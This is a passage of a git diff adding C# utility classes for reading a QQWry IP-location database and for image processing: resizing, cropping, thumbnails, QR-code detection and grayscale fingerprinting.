///从当前位置读取4字节,转换为长整型 + /// + /// + /// + #endregion + private long readLong4(long offset) + { + long ret = 0; + ipFile.Position = offset; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + ret |= ((ipFile.ReadByte() << 24) & 0xFF000000); + return ret; + } + + //根据当前位置,读取3字节 + #region 根据当前位置,读取3字节 + /**/ + /// + ///根据当前位置,读取3字节 + /// + /// + /// + #endregion + private long readLong3(long offset) + { + long ret = 0; + ipFile.Position = offset; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + return ret; + } + + //从当前位置读取3字节 + #region 从当前位置读取3字节 + /**/ + /// + ///从当前位置读取3字节 + /// + /// + #endregion + private long readLong3() + { + long ret = 0; + ret |= (ipFile.ReadByte() & 0xFF); + ret |= ((ipFile.ReadByte() << 8) & 0xFF00); + ret |= ((ipFile.ReadByte() << 16) & 0xFF0000); + return ret; + } + + //取得begin和end之间的偏移量 + #region 取得begin和end之间的偏移量 + /**/ + /// + ///取得begin和end中间的偏移 + /// + /// + /// + /// + #endregion + private long getMiddleOffset(long begin, long end) + { + long records = (end - begin) / IP_RECORD_LENGTH; + records >>= 1; + if (records == 0) + records = 1; + return begin + records * IP_RECORD_LENGTH; + } + } //class QQWry + + public class IPLocation + { + public String country; + public String area; + + public IPLocation() + { + country = area = ""; + } + + public IPLocation getCopy() + { + IPLocation ret = new IPLocation(); + ret.country = country; + ret.area = area; + return ret; + } + } +} diff --git a/AllBase/ImageBuild.cs b/AllBase/ImageBuild.cs new file mode 100644 index 0000000..c96c6ee --- /dev/null +++ b/AllBase/ImageBuild.cs @@ -0,0 +1,600 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; + +namespace AllBase +{ + public class ImageBuild + { + public byte[] Img; + public int Width = 0, Height = 0; + public Image InitImage = null; + public Bitmap InitImagex = null; + public string format = ""; + public bool CanUser + { + get { return format == ".jpg" || format == ".png"; } + } + + public ImageBuild(byte[] image) + { + if (image == null || image.Length == 0) + return; + Img = image; + try + { + MemoryStream ms = new MemoryStream(Img); + InitImage = Image.FromStream(ms); + var f = GetImageFormat(InitImage, out format); + ms.Close(); + Width = InitImage.Width; + Height = InitImage.Height; + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + } + + public byte[] ImageSheild() + { + if (Width > 700 || Height > 700) + { + CutToSize(700, 700); + } + InitImagex = (Bitmap)InitImage; + long r = 0, g = 0, b = 0; + + + for (int i = 0; i < InitImagex.Height - 3; i++) + { + for (int j = 0; j < InitImagex.Width - 3;) + { + Color c = InitImagex.GetPixel(i, j); + int rr = c.R, bb = c.B, gg = c.G; + for (int k = 0; k < 3; k++) + { + for (int l = 0; l < 3; l++) + { + if (k == 1 && l == 1 || k == 0 && l == 0) + continue; + var cc = InitImagex.GetPixel(i + k, j + l); + if (Math.Abs(cc.R - c.R) > 15 || Math.Abs(cc.B - c.B) > 15 || Math.Abs(cc.G - c.G) > 15) + goto End; + rr += cc.R; + bb += cc.B; + gg += cc.G; + } + } + c = Color.FromArgb(rr / 8, gg / 8, bb / 8); + InitImagex.SetPixel(i + 1, j + 1, c); + End: + j++; + } + } + for (int i = 0; i < InitImagex.Height; i++) + { + for (int j = 0; j < InitImagex.Width; j++) + { + Color c = InitImagex.GetPixel(i, j); + r += c.R; + g += c.G; + b += c.B; + } + } + int avgR = (int)(r / InitImagex.Height / InitImagex.Width); + int avgG = (int)(g / InitImagex.Height / InitImagex.Width); + int avgB = (int)(b / InitImagex.Height / InitImagex.Width); + int avg = avgB + avgR + avgG; + for (int i = 0; i < InitImagex.Height; i++) + { + for (int j = 0; j < InitImagex.Width; j++) + { + Color c = InitImagex.GetPixel(i, j); + bool add = c.R + c.B + c.G > avg; + int rr = add ? c.R < 240 ? c.R + 10 : 255 : c.R > 15 ? c.R - 15 : 0; + int gg = add ? c.G < 240 ? c.G + 10 : 255 : c.G > 15 ? c.G - 15 : 0; + int bb = add ? c.B < 240 ? c.B + 10 : 255 : c.B > 15 ? c.B - 15 : 0; + c = Color.FromArgb(rr, gg, bb); + InitImagex.SetPixel(i, j, c); + } + } + InitImagex.Save("1.jpg", ImageFormat.Jpeg); + return null; + } + + /// + /// 裁剪为指定大小,不符合则返回null + /// + /// + /// + /// + public byte[] CutToSize(int width, int height) + { + if (InitImage == null) + return null; + int w = InitImage.Width; + int h = InitImage.Height; + if (w < width || h < height) + { + return null; + } + int x = 0, y = 0, nw = w, nh = h; + int tx = 0, ty = 0, tw = width, th = height; + double f = w * 1.0 / width; + double t = h * 1.0 / height; + if (f == t)//无需变化 + { + } + else if (f > t)//宽度较大 + { + x = (int)(((f - t) / 2) * width); + nw = w - x * 2; + } + else//高度较大 + { + y = (int)((t - f) / 2 * height); + nh = h - y * 2; + } + Rectangle fromR = new Rectangle(x, y, nw, nh); + Rectangle toR = new Rectangle(tx, ty, tw, th); + Bitmap pickedImage = new Bitmap(width, height); + + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = InterpolationMode.Low; + pickedG.SmoothingMode = SmoothingMode.HighSpeed; + pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel); + //转图片后转二进制数组 + InitImage = (Image)pickedImage.Clone(); + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + long quality = 80; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + InitImage.Save(ms, icc, ep); + byte[] bytes = ms.ToArray(); + return bytes; + } + /// + /// 添加线条 + /// + /// + public void AddLineToImage(ref byte[] img) + { + MemoryStream ms = new MemoryStream(img); + var image = (Bitmap)Image.FromStream(ms); + ms.Close(); + int width = image.Width; + int height = image.Height; + if (width < 100 || height < 100) + return; + int r = Randomx.GetId(100, 256); + int b = Randomx.GetId(100, 256); + int g = Randomx.GetId(100, 256); + int h = Randomx.GetId(1, 10); + var c = Color.FromArgb(r, g, b); + for (int i = 0; i < h; i++) + { + for (int j = 0; j < height; j++) + image.SetPixel(i, j, c); + for (int j = 0; j < width; j++) + image.SetPixel(j, i, c); + } + for (int i = height - h; i < height; i++) + { + for (int j = 0; j < width; j++) + image.SetPixel(j, i, c); + } + for (int i = width - h; i < width; i++) + { + for (int j = 0; j < height; j++) + image.SetPixel(i, j, c); + } + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + long quality = 75; + ms = new MemoryStream(); + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(Encoder.Quality, quality); + image.Save(ms, icc, ep); + img = ms.ToArray(); + //FileBase.WriteBytes("1.jpg", bytes); + } + + /// + /// 输出固定大小图片,背景白色填充,返回JPG格式二进制代码 + /// + /// + /// + /// 最大尺寸KB + /// 图片质量 + /// + public byte[] BuildNewSize(int width, int height, int maxSize, long qu=85l) + { + if (InitImage == null) + return null; + int w = InitImage.Width; + int h = InitImage.Height; + int x = 0, y = 0, nw = w, nh = h; + int tx = 0, ty = 0, tw = width, th = height; + //先缩放 + if (w <= width && h <= height)//无需缩放 + { + tx = (width - w) / 2; + tw = w; + ty = (height - h) / 2; + th = h; + } + else if (w < width && h > height) + { + tx = (width - w) / 2; + tw = w; + y = (h - height) / 2; + nh = height; + } + else if (w > width && h < height) + { + ty = (height - h) / 2; + th = h; + x = (w - width) / 2; + nw = width; + } + else + { + double f = w * 1.0 / width; + double t = h * 1.0 / height; + if (f == t)//无需变化 + { + } + else if (f > t)//宽度较大 + { + x = (int)(((f - t) / 2) * width); + nw = w - x * 2; + } + else//高度较大 + { + y = (int)((t - f) / 2 * height); + nh = h - y * 2; + } + } + Rectangle fromR = new Rectangle(x, y, nw, nh); + Rectangle toR = new Rectangle(tx, ty, tw, th); + Bitmap pickedImage = new Bitmap(width, height); + for (int i = 0; i < pickedImage.Width; i++) + { + for (int j = 0; j < pickedImage.Height; j++) + { + Color color = Color.FromArgb(255, 255, 255); + pickedImage.SetPixel(i, j, color); + } + } + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = InterpolationMode.Low; + pickedG.SmoothingMode = SmoothingMode.HighSpeed; + pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel); + //转图片后转二进制数组 + Image initImagex = (Image)pickedImage.Clone(); + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + + long quality = maxSize == 1024 ? 75l : 85; + if (qu > quality) + quality = qu; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality); + initImagex.Save(ms, icc, ep); + + if (ms.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l); + initImagex.Save(ms, icc, ep); + return ms.ToArray(); + } + if (ms.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 55l); + initImagex.Save(ms, icc, ep); + return ms.ToArray(); + } + if (ms.Length > maxSize * 1024) + { + return null; + } + //ImageCodecInfo icc = GetCodeInfo("1.jpg"); + //initImagex.Save("22.jpg", icc, ep); + return ms.ToArray(); + } + public byte[] BuildNewSizeCut(int width, int height, int maxSize, long qu = 85l) + { + if (InitImage == null) + return null; + int w = InitImage.Width; + int h = InitImage.Height; + int x = 0, y = 0, nw = w, nh = h; + int tx = 0, ty = 0, tw = width, th = height; + Rectangle fromR = new Rectangle(x, y, nw, nh); + Rectangle toR = new Rectangle(tx, ty, tw, th); + Bitmap pickedImage = new Bitmap(width, height); + for (int i = 0; i < pickedImage.Width; i++) + { + for (int j = 0; j < pickedImage.Height; j++) + { + Color color = Color.FromArgb(255, 255, 255); + pickedImage.SetPixel(i, j, color); + } + } + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = InterpolationMode.Low; + pickedG.SmoothingMode = SmoothingMode.HighSpeed; + pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel); + //转图片后转二进制数组 + Image initImagex = (Image)pickedImage.Clone(); + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetCodeInfo("1.jpg"); + + long quality = maxSize == 1024 ? 75l : 85; + if (qu > quality) + quality = qu; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality); + initImagex.Save(ms, icc, ep); + + if (ms.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l); + initImagex.Save(ms, icc, ep); + return ms.ToArray(); + } + if (ms.Length > maxSize * 1024) + { + ms = new MemoryStream(); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 55l); + initImagex.Save(ms, icc, ep); + return ms.ToArray(); + } + if (ms.Length > maxSize * 1024) + { + return null; + } + //ImageCodecInfo icc = GetCodeInfo("1.jpg"); + //initImagex.Save("22.jpg", icc, ep); + return ms.ToArray(); + } + /// + /// 根据路劲得出图片编码信息 + /// + /// + /// + public ImageCodecInfo GetCodeInfo(string path) + { + string exe = path.Split('.')[path.Split('.').Length - 1].ToLower(); + ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders(); + ImageCodecInfo ici = null, defCodecInfo = null; + foreach (ImageCodecInfo i in icis) + { + if (i.MimeType == "image/jpeg") + defCodecInfo = i; + if ((exe == "jpg" || exe == "jpeg") && i.MimeType == "image/jpeg") + { + ici = i; + } + if (exe == "bmp" && i.MimeType == "image/bmp") + { + ici = i; + } + if (exe == "png" && i.MimeType == "image/png") + { + ici = i; + } + if (exe == "gif" && i.MimeType == "image/gif") + { + ici = i; + } + } + if (ici == null) + ici = defCodecInfo; + return ici; + } + + /// + /// 获取Image图片格式 + /// + /// + /// + /// + private System.Drawing.Imaging.ImageFormat GetImageFormat(Image _img, out string format) + { + if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Jpeg)) + { + format = ".jpg"; + return System.Drawing.Imaging.ImageFormat.Jpeg; + } + if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Gif)) + { + format = ".gif"; + return System.Drawing.Imaging.ImageFormat.Gif; + } + if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Png)) + { + format = ".png"; + return System.Drawing.Imaging.ImageFormat.Png; + } + if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Bmp)) + { + format = ".bmp"; + return System.Drawing.Imaging.ImageFormat.Bmp; + } + format = string.Empty; + return null; + } + + + /// + /// 图像缩略图处理 + /// + /// 图像源数据 + /// 压缩质量 1-100 + /// 缩略图的宽 + /// 缩略图的高 + /// + public static byte[] ConvertToThumbnail(byte[] bytes, int compression = 100, int thumbWidth = 0, int thumbHeight = 0) + { + byte[] bs = null; + + if (bytes != null) + { + using (MemoryStream ms = new MemoryStream(bytes)) + { + using (Bitmap srcimg = new Bitmap(ms)) + { + if (thumbWidth == 0 && thumbHeight == 0) + { + thumbWidth = srcimg.Width; + thumbHeight = srcimg.Height; + } + using (Bitmap dstimg = new Bitmap(thumbWidth, thumbHeight))//图片压缩质量 + { + //从Bitmap创建一个System.Drawing.Graphics对象,用来绘制高质量的缩小图。 + using (Graphics gr = Graphics.FromImage(dstimg)) + { + //把原始图像绘制成上面所设置宽高的缩小图 + Rectangle rectDestination = new Rectangle(0, 0, thumbWidth, thumbHeight); + gr.Clear(Color.White); + gr.CompositingQuality = CompositingQuality.HighQuality; + gr.SmoothingMode = SmoothingMode.HighQuality; + gr.InterpolationMode = InterpolationMode.HighQualityBicubic; + gr.DrawImage(srcimg, rectDestination, 0, 0, srcimg.Width, srcimg.Height, GraphicsUnit.Pixel); + + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, compression);//设置压缩的比例1-100 + ImageCodecInfo[] arrayICI = ImageCodecInfo.GetImageEncoders(); + ImageCodecInfo jpegICIinfo = arrayICI.FirstOrDefault(t => t.FormatID == System.Drawing.Imaging.ImageFormat.Jpeg.Guid); + using (MemoryStream dstms = new MemoryStream()) + { + if (jpegICIinfo != null) + { + dstimg.Save(dstms, jpegICIinfo, ep); + } + else + { + dstimg.Save(dstms, System.Drawing.Imaging.ImageFormat.Jpeg);//保存到内存里 + } + bs = new Byte[dstms.Length]; + dstms.Position = 0; + dstms.Read(bs, 0, bs.Length); + } + } + } + } + } + } + + return bs; + } + + [DllImport("gdi32.dll")] + public static extern bool DeleteObject(IntPtr hObject); + /// + /// 将Image转换为Ico + /// + /// + /// + /// + public static Icon ConvertToIcon(Image image) + { + Bitmap bmp = new Bitmap(image); + IntPtr h = bmp.GetHicon(); + Icon icon = Icon.FromHandle(h); + DeleteObject(h); + return icon; + } + + + + List AllList = new List(); + List AllColorList = new List(); + Dictionary AllPoint = new Dictionary(); + + public bool ImageCuteNoLogo() + { + var image = (Bitmap)InitImage; + int width = image.Width; + int height = image.Height; + Color cp1 = image.GetPixel(5, 5); + Color cp2 = image.GetPixel(5, width - 5); + Color cp3 = image.GetPixel(height - 5, 5); + Color cp4 = image.GetPixel(height - 5, width - 5); + if (cp1.R < 250 || cp1.B < 250 || cp1.G < 250 + || cp2.R < 250 || cp2.B < 250 || cp2.G < 250 + || cp3.R < 250 || cp3.B < 250 || cp3.G < 250) + { + return false; + } + return true; + } + + public static byte[] BitmapToBytes(Bitmap Bitmap) + { + MemoryStream ms = null; + try + { + ms = new MemoryStream(); + Bitmap.Save(ms, Bitmap.RawFormat); + byte[] byteImage = new Byte[ms.Length]; + byteImage = ms.ToArray(); + return byteImage; + } + catch (ArgumentNullException ex) + { + throw ex; + } + finally + { + ms.Close(); + } + } + + /// + /// 字节数组转换为图片 + /// + /// 字节数组 + /// 图片 + public static Image BytesToImage(byte[] buffer) + { + var ms = new MemoryStream(buffer, 0, buffer.Length); + Image img = Image.FromStream(ms); + ms.Dispose(); + return img; + } + + /// + /// 图片对象转字节数组 + /// + /// 图片路径 + /// 图片字节数组 + private byte[] ImageToBytes(string imagePath) + { + var fs = new FileStream(imagePath, FileMode.Open); + byte[] imgBytes = new byte[fs.Length]; + fs.Read(imgBytes, 0, imgBytes.Length); + fs.Close(); + return imgBytes; + } + } + public class ImagePiex + { + public Point point { get; set; } + public Color color { get; set; } + public bool Pval = false; + public bool Used = false; + public int imgCount = 0; + } + +} diff --git a/AllBase/ImageCut.cs b/AllBase/ImageCut.cs new file mode 100644 index 0000000..99e30ad --- /dev/null +++ b/AllBase/ImageCut.cs @@ -0,0 +1,499 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Drawing.Imaging; +using System.IO; +using System.Text; +using ZXing; + +namespace AllBase +{ + public class ImageCut + { + /// + /// 正方型裁剪 + /// 以图片中心为轴心,截取正方型,然后等比缩放 + /// 用于头像处理 + /// + /// 吴剑 2010-11-23 + /// 原图HttpPostedFile对象 + /// 缩略图存放地址 + /// 指定的边长(正方型) + /// 质量(范围0-100) + public static void CutForSquare(string path, string fileSaveUrl, int side, int quality, out int width, + out int height) + { + + string exe = path.Split('.')[path.Split('.').Length - 1].ToLower(); + Image initImage = null; + width = 0; + height = 0; + try + { + FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read); + initImage = Image.FromStream(fileStream); + fileStream.Close(); + fileStream.Dispose(); + } + catch (Exception e) + { + LogSave.Add(e.Message); + return; + } + width = initImage.Width; + height = initImage.Height; + //原图宽高均小于模版,不作处理,直接保存 + if (initImage.Width <= side || initImage.Height <= side) + { + return; + //initImage.Save(fileSaveUrl, System.Drawing.Imaging.ImageFormat.Jpeg); + } + + //关键质量控制 + //获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff + ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders(); + ImageCodecInfo ici = null, defCodecInfo = null; + foreach (ImageCodecInfo i in icis) + { + if (i.MimeType == "image/jpeg") + defCodecInfo = i; + if ((exe == "jpg" || exe == "jpeg") && i.MimeType == "image/jpeg") + { + ici = i; + } + if (exe == "bmp" && i.MimeType == "image/bmp") + { + ici = i; + } + if (exe == "png" && i.MimeType == "image/png") + { + ici = i; + } + if (exe == "gif" && i.MimeType == "image/gif") + { + ici = i; + } + } + if (ici == null) + ici = defCodecInfo; + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality); + + + //原始图片的宽、高 + int initWidth = initImage.Width; + int initHeight = initImage.Height; + int sizeW = 50, sizeH = 50; + if (initWidth > initHeight) + sizeW = 70; + else + sizeH = 70; + width = initWidth - sizeW * 2; + height = initHeight - sizeH * 2; + + //FileBase.Delete(path); + Image pickedImage = new Bitmap(width, height); + Graphics pickedG = Graphics.FromImage(pickedImage); + pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.Low; + pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighSpeed; + //定位 + Rectangle fromR = new Rectangle(sizeW - 20, sizeH, width, height); + Rectangle toR = new Rectangle(0, 0, width, height); + //画图 + pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel); + //将截图对象赋给原图 + Image initImagex = (System.Drawing.Image)pickedImage.Clone(); + //释放截图资源 + pickedG.Dispose(); + pickedImage.Dispose(); + initImage.Clone(); + initImage.Dispose(); + try + { + initImagex.Save(fileSaveUrl, ici, ep); + } + catch (Exception e) + { + LogSave.Add(e.Message); + } + //释放关键质量控制所用资源 + ep.Dispose(); + + } + + /// + /// 是否二维码 + /// + /// + /// + public static bool GetErWeiMa(string strSavePath) + { + BarcodeReader reader = new BarcodeReader(); + FileStream fileStream = new FileStream(strSavePath, FileMode.Open, FileAccess.Read); + try + { + Image initImage = Image.FromStream(fileStream); + fileStream.Close(); + fileStream.Dispose(); + if (initImage.Width < 10 || initImage.Height < 10) + return false; + + Result result = reader.Decode((Bitmap)initImage); + if (result == null || string.IsNullOrEmpty(result.Text)) + return false; + } + catch + { + return false; + } + FileBase.Delete(strSavePath); + return true; + //return result.Text; + } + + /// + /// 是否二维码 + /// + /// + /// + public static bool GetErWeiMa(byte[] file, out int width, out int height) + { + + width = 0; + height = 0; + try + { + MemoryStream ms = new MemoryStream(file); + Image initImage = Image.FromStream(ms); + ms.Close(); + width = initImage.Width; + height = initImage.Height; + if (initImage.Width < 10 || initImage.Height < 10) + { + initImage = null; + return false; + } + + BarcodeReader reader = new BarcodeReader(); + Result result = reader.Decode((Bitmap)initImage); + if (result == null || string.IsNullOrEmpty(result.Text)) + { + reader = null; + result = null; + initImage = null; + return false; + } + reader = null; + result = null; + initImage = null; + } + catch + { + return false; + } + return true; + //return result.Text; + } + + + /// + /// 正方型裁剪 + /// 以图片中心为轴心,截取正方型,然后等比缩放 + /// 用于头像处理 + /// + /// 吴剑 2010-11-23 + /// 原图HttpPostedFile对象 + /// 缩略图存放地址 + /// 指定的边长(正方型) + /// 质量(范围0-100) + public static void CutForSquare(System.IO.Stream fromFile, string fileSaveUrl, int side, int quality) + { + //创建目录 + string dir = Path.GetDirectoryName(fileSaveUrl); + if (!Directory.Exists(dir)) + Directory.CreateDirectory(dir); + + //原始图片(获取原始图片创建对象,并使用流中嵌入的颜色管理信息) + System.Drawing.Image initImage = System.Drawing.Image.FromStream(fromFile, true); + + //原图宽高均小于模版,不作处理,直接保存 + if (initImage.Width <= side && initImage.Height <= side) + { + initImage.Save(fileSaveUrl, System.Drawing.Imaging.ImageFormat.Jpeg); + } + else + { + //原始图片的宽、高 + int initWidth = initImage.Width; + int initHeight = initImage.Height; + + //非正方型先裁剪为正方型 + if (initWidth != initHeight) + { + //截图对象 + System.Drawing.Image pickedImage = null; + System.Drawing.Graphics pickedG = null; + + //宽大于高的横图 + if (initWidth > initHeight) + { + //对象实例化 + pickedImage = new System.Drawing.Bitmap(initHeight, initHeight); + pickedG = System.Drawing.Graphics.FromImage(pickedImage); + //设置质量 + pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic; + pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; + //定位 + Rectangle fromR = new Rectangle((initWidth - initHeight) / 2, 0, initHeight, initHeight); + Rectangle toR = new Rectangle(0, 0, initHeight, initHeight); + //画图 + pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel); + //重置宽 + initWidth = initHeight; + } + //高大于宽的竖图 + else + { + //对象实例化 + pickedImage = new System.Drawing.Bitmap(initWidth, initWidth); + pickedG = System.Drawing.Graphics.FromImage(pickedImage); + //设置质量 + pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic; + pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; + //定位 + Rectangle fromR = new Rectangle(0, (initHeight - initWidth) / 2, initWidth, initWidth); + Rectangle toR = new Rectangle(0, 0, initWidth, initWidth); + //画图 + pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel); + //重置高 + initHeight = initWidth; + } + + //将截图对象赋给原图 + initImage = (System.Drawing.Image)pickedImage.Clone(); + //释放截图资源 + pickedG.Dispose(); + pickedImage.Dispose(); + } + + //缩略图对象 + System.Drawing.Image resultImage = new System.Drawing.Bitmap(side, side); + System.Drawing.Graphics resultG = System.Drawing.Graphics.FromImage(resultImage); + //设置质量 + resultG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic; + resultG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality; + //用指定背景色清空画布 + resultG.Clear(Color.White); + //绘制缩略图 + resultG.DrawImage(initImage, new System.Drawing.Rectangle(0, 0, side, side), new System.Drawing.Rectangle(0, 0, initWidth, initHeight), System.Drawing.GraphicsUnit.Pixel); + + //关键质量控制 + //获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff + ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders(); + ImageCodecInfo ici = null; + foreach (ImageCodecInfo i in icis) + { + if (i.MimeType == "image/jpeg" || i.MimeType == "image/bmp" || i.MimeType == "image/png" || i.MimeType == "image/gif") + { + ici = i; + } + } + EncoderParameters ep = new EncoderParameters(1); + ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality); + + //保存缩略图 + resultImage.Save(fileSaveUrl, ici, ep); + + //释放关键质量控制所用资源 + ep.Dispose(); + + //释放缩略图资源 + resultG.Dispose(); + resultImage.Dispose(); + + //释放原始图片资源 + initImage.Dispose(); + } + } + + + + + /// + /// 判断文件类型是否为WEB格式图片 + /// (注:JPG,GIF,BMP,PNG) + /// + /// HttpPostedFile.ContentType + /// + public static bool IsWebImage(string contentType) + { + if (contentType == "image/pjpeg" || contentType == "image/jpeg" || contentType == "image/gif" || contentType == "image/bmp" || contentType == "image/png") + { + return true; + } + else + { + return false; + } + } + /// + /// 压缩图片获得图片MD5 32位指纹 + /// + /// + /// + /// + /// + public static long ResizeImage(Image imgToResize, int width, int height) + { + try + { + int sourceWidth = imgToResize.Width; + int sourceHeight = imgToResize.Height; + float nPercent = 0; + float nPercentW = 0; + float nPercentH = 0; + nPercentW = ((float)width / (float)sourceWidth); + nPercentH = ((float)height / (float)sourceHeight); + if (nPercentH < nPercentW) + nPercent = nPercentH; + else + nPercent = nPercentW; + int destWidth = (int)(sourceWidth * nPercent); + int destHeight = (int)(sourceHeight * nPercent); + Bitmap b = new Bitmap(destWidth, destHeight); + Graphics g = Graphics.FromImage(b); + g.InterpolationMode = InterpolationMode.HighQualityBicubic; + g.DrawImage(imgToResize, 0, 0, destWidth, destHeight); + g.Dispose(); + imgToResize.Dispose(); + long md5 = ToGray(ref b, width, height); + return md5; + } + catch (Exception e) + { + LogSave.Add("计算图片指纹失败:"+e.Message); + return 0; + } + } + + /// + /// 图像灰度化,并计算指纹 + /// + /// + /// + public static long ToGray(ref Bitmap bmp, int width, int height) + { + byte[] b = new byte[width * height]; + for (int i = 0; i < bmp.Width; i++) + { + for (int j = 0; j < bmp.Height; j++) + { + Color color = bmp.GetPixel(i, j); + int gray = (int)(color.R * 0.3 + color.G * 0.59 + color.B * 0.11); + gray = gray / 16; + b[i * bmp.Width + j] = (byte)gray; + } + } + return BaseClass.GetLong(b); + } + + /// + /// 处理图片(四边裁剪+水印) + /// + /// + /// + /// + public static void HandleImage(ref byte[] bytesOld,bool flag) + { + try + { + Image img = BytesToImage(ref bytesOld); + int iniWidth = img.Width; + int iniHeight = img.Height; + + Random random = new Random(); + + int cutPixl = random.Next(1, 50); //左边切除的像素 + int cutPixr = random.Next(1, 50); //右边切除的像素 + int cutPixt = random.Next(1, 50); //顶部切除的像素 + int cutPixb = random.Next(1, 50); //底部切除的像素 + + if (!flag) + { + cutPixl = 0; //左边切除的像素 + cutPixr = 0; //右边切除的像素 + cutPixt = 0; //顶部切除的像素 + cutPixb = 0; //底部切除的像素 + } + + Bitmap bitmap = CutImage(ref bytesOld, cutPixl, cutPixr, iniWidth - cutPixl - cutPixt, iniHeight - cutPixr - cutPixb); + if(bitmap==null) + return; + MemoryStream ms = new MemoryStream(); + ImageCodecInfo icc = GetEncoderInfo("image/jpeg"); + EncoderParameters ep = new EncoderParameters(1) + { + Param = { [0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l) } + }; + bitmap.Save(ms, icc, ep); + bytesOld = ms.ToArray(); + } + catch + { + } + } + + /// + /// 字节数组转换为图片 + /// + /// 字节数组 + /// 图片 + public static Image BytesToImage(ref byte[] buffer) + { + var ms = new MemoryStream(buffer, 0, buffer.Length); + return Image.FromStream(ms); + } + + /// + /// 裁剪图片四边 + /// + /// 原始图片字节流 + /// 裁剪开始x坐标 + /// 裁剪开始y坐标 + /// 裁剪宽度 + /// 裁剪高度 + /// + public static Bitmap CutImage(ref byte[] bytes, int iStartX, int iStartY, int iWidth, int iHeight) + { + try + { + Image image = BytesToImage(ref bytes); + Bitmap b = new Bitmap(image); + if (bytes == null) return null; + Bitmap bmpOut = new Bitmap(iWidth, iHeight, PixelFormat.Format24bppRgb); + Graphics g = Graphics.FromImage(bmpOut); + g.DrawImage(b, new Rectangle(0, 0, iWidth, iHeight), new Rectangle(iStartX, iStartY, iWidth, iHeight), GraphicsUnit.Pixel); + g.Dispose(); + return bmpOut; + } + catch + { + return null; + } + } + + public static ImageCodecInfo GetEncoderInfo(string mimeType) + { + int j; + ImageCodecInfo[] encoders; + encoders = ImageCodecInfo.GetImageEncoders(); + for (j = 0; j < encoders.Length; ++j) + { + if (encoders[j].MimeType == mimeType) + return encoders[j]; + } + return null; + } + } +} diff --git a/AllBase/ImageErWeiMa.cs b/AllBase/ImageErWeiMa.cs new file mode 100644 index 0000000..db47adc --- /dev/null +++ b/AllBase/ImageErWeiMa.cs @@ -0,0 +1,56 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using ZXing; + +namespace AllBase +{ + public class ImageErWeiMa + { + /// + /// 是否二维码 + /// + /// + /// + public bool GetErWeiMa(byte[] file, out int width, out int height, out Image initImage) + { + initImage = null; + width = 0; + height = 0; + try + { + MemoryStream ms = new MemoryStream(file); + initImage = Image.FromStream(ms); + ms.Close(); + width = initImage.Width; + height = initImage.Height; + if (initImage.Width < 10 || initImage.Height < 10) + { + 